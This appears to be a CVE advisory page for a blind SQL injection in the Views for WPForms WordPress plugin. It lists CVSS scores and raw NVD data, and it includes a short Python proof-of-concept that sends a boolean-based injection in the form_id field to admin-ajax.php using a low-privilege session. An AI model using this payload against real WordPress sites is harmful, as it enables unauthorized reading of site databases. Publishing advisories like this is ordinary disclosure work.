Security Vulnerability Report
中文
CVE-2026-42742 CVSS 8.5 HIGH

CVE-2026-42742

Published: 2026-05-12 11:16:20
Last Modified: 2026-05-12 14:03:53

Description

Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') vulnerability in Aman Views for WPForms views-for-wpforms-lite allows Blind SQL Injection.This issue affects Views for WPForms: from n/a through <= 3.4.6.

CVSS Details

CVSS Score
8.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:L

Configurations (Affected Products)

No configuration data available.

Views for WPForms <= 3.4.6

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # Target configuration target_url = "http://target-site.com/wp-admin/admin-ajax.php" # Attacker session cookie (Low privilege required) cookies = { "wordpress_logged_in_xxx": "low_priv_user_session_token" } # Vulnerable payload demonstrating blind SQL injection # Checking if the first character of the database version is '5' payload_data = { "action": "views_for_wpforms_get_data", "form_id": "1 AND (SELECT SUBSTRING(@@version,1,1))='5'" } try: response = requests.post(target_url, data=payload_data, cookies=cookies, timeout=10) # Analyze response to determine query result (True/False) if response.status_code == 200 and "success" in response.text: print("[+] Vulnerability confirmed: Payload returned True") else: print("[-] Payload returned False or Error occurred") except Exception as e: print(f"Error: {e}")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-42742", "sourceIdentifier": "[email protected]", "published": "2026-05-12T11:16:20.227", "lastModified": "2026-05-12T14:03:52.757", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') vulnerability in Aman Views for WPForms views-for-wpforms-lite allows Blind SQL Injection.This issue affects Views for WPForms: from n/a through <= 3.4.6."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:L", "baseScore": 8.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "LOW"}, "exploitabilityScore": 3.1, "impactScore": 4.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-89"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/views-for-wpforms-lite/vulnerability/wordpress-views-for-wpforms-plugin-3-4-6-sql-injection-vulnerability?_s_id=cve", "source": "[email protected]"}]}}